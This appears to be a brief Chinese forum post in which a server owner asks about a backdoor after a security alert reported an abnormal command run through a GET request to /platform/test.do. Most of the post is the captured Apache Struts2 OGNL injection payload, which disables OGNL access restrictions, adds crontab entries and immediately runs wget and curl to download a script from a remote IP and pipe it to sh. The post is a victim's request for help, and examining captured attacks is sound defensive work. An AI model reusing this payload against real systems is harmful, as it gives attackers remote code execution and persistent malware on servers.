后门问题

[zsinba]

HTTP方法 GET HTTP请求URL /platform/test.do

检测到您的主机执行了异常命令，且该命令在网络流量中被捕获。这意味着您的主机很有可能存在命令执行漏洞，并已经被黑客利用。请跟据下面提供的详细信息进行排查。 Request-Content-Type

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "/20 * * * * wget -O - -q http://45.227.252.243/static/font.jpg|sh\n/19 * * * * curl http://45.227.252.243/static/font.jpg|sh" | crontab -;wget -O - -q http://45.227.252.243/static/font.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}